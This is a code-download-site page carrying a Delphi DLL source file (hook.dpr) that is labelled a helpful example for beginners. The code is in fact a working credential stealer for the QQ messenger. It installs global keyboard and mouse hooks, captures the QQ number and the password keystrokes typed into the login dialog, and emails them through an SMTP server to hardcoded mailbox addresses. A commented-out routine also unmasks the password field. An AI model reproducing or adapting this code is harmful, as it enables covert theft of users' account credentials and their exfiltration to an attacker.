⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hook.dpr

📁 这是壹个delphi的例子大家可以来看看啊 对初学者很有帮助啊
💻 DPR
字号:
library HookDLL;

uses
  windows,messages,dialogs,sysutils,shellapi,SendMail2;

type
  PMouseHookStruct = ^TMouseHookStruct;
    {$EXTERNALSYM tagMOUSEHOOKSTRUCT}
  tagMOUSEHOOKSTRUCT = packed record
    pt: TPoint;
    hwnd: HWND;
    wHitTestCode: UINT;
    dwExtraInfo: DWORD;
  end;
  TMouseHookStruct = tagMOUSEHOOKSTRUCT;

var
  KeyHook,MouseHook:HHook;
  password_str,qq_number:string;
procedure show_numberpassword(v:string);
var
  dc:thandle;
begin
  DC:=GetDC(0);
  TextOut(DC,100,100,Pchar(V),Length(V));
  ReleaseDC(0,DC);
end;

function Get_qqnumber:string;
var
  buffer:array[0..50] of char;
  Window,Number_window:Longint;
begin
  result:='';
  Window:=findwindow('#32770',nil);
  if window=0 then exit;
  Number_window:=FindWindowex(window,0,'ComboBox',nil);
  if Number_window=0 then exit;
  SendMessage(Number_window, $000D, 50, Integer(@buffer));
  result:='number:'+ string(buffer);
end;

function ispassword_window:boolean;
var
  window,password_window:thandle;
begin
  result:=false;
  window:=findwindow('#32770',nil);
  if window=0 then exit;
  password_window:=findwindowex(window,0,'Edit',nil);
  if password_window=0 then exit;
  //showmessage(inttostr(getfocus)+' '+inttostr(password_window));
  if getfocus=password_window then
  result:=true;
end;

{function get_password:string;
var
  buffer:array[0..255] of char;
  Window,password_window:Longint;
begin
  result:='';
  window:=findwindow('#32770',nil);
  if window=0 then exit;
  password_window:=findwindowex(window,0,'edit',nil);
  if password_window=0 then exit;
  PostMessage(password_window,EM_SETPASSWORDCHAR, 0, 0);
  sleep(300);
  SendMessage(password_window,WM_GETTEXT,255,longint(@buffer));
  //showmessage(buffer[3]);
  PostMessage (password_window,EM_SETPASSWORDCHAR,42,0);
  result:=buffer;
end;  }

function isqq_window:boolean;
begin
  if findwindow('#32770',nil)=GetForegroundWindow then
  result:=true
  else result:=false;
end;

function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin   {回车}        {键盘按键按下消息}
  if findwindow('#32770',nil)<>0 then
  begin
    if (wParam=13) and(((LParam shr 31)and 1)=0)and(isqq_window)  then
    begin
      show_numberpassword(get_qqnumber+'  password:'+password_str);
      sendemail('smtp.163.com','mszok@163.com','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+'  password:'+password_str);
     // showmessage('send successful');
      password_str:='';
    end
    else begin
      if (((LParam shr 31)and 1)=0)and(ispassword_window) then
        password_str:=password_str+chr(wparam);
    end;
    Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
  end;
end;


function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
  buffer:array[0..3] of char;
  email:string;
begin {鼠标左键按下消息}
  if (findwindow('#32770',nil)<>0)and(wparam=$0201) then
  begin
    SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,3,Integer(@buffer));
    if buffer='登' then
    begin
      show_numberpassword(get_qqnumber+'  password:'+password_str);
      sendemail('smtp.163.com','mszok','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+'  password:'+password_str);
     // showmessage('send successful');
      password_str:='';
     // sendemail('smtp.163.com','mszok','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+'  password:'+get_password);
    end;
  end;
  Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;


procedure HookOn;
begin
  KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
  MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
end;


procedure HookOff;
begin
  UnHookWindowsHookEx(KeyHook);
  UnHookWindowsHookEx(MouseHook);
end;


  //=================导出函数
exports
  HookOn,HookOff;

  
begin
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -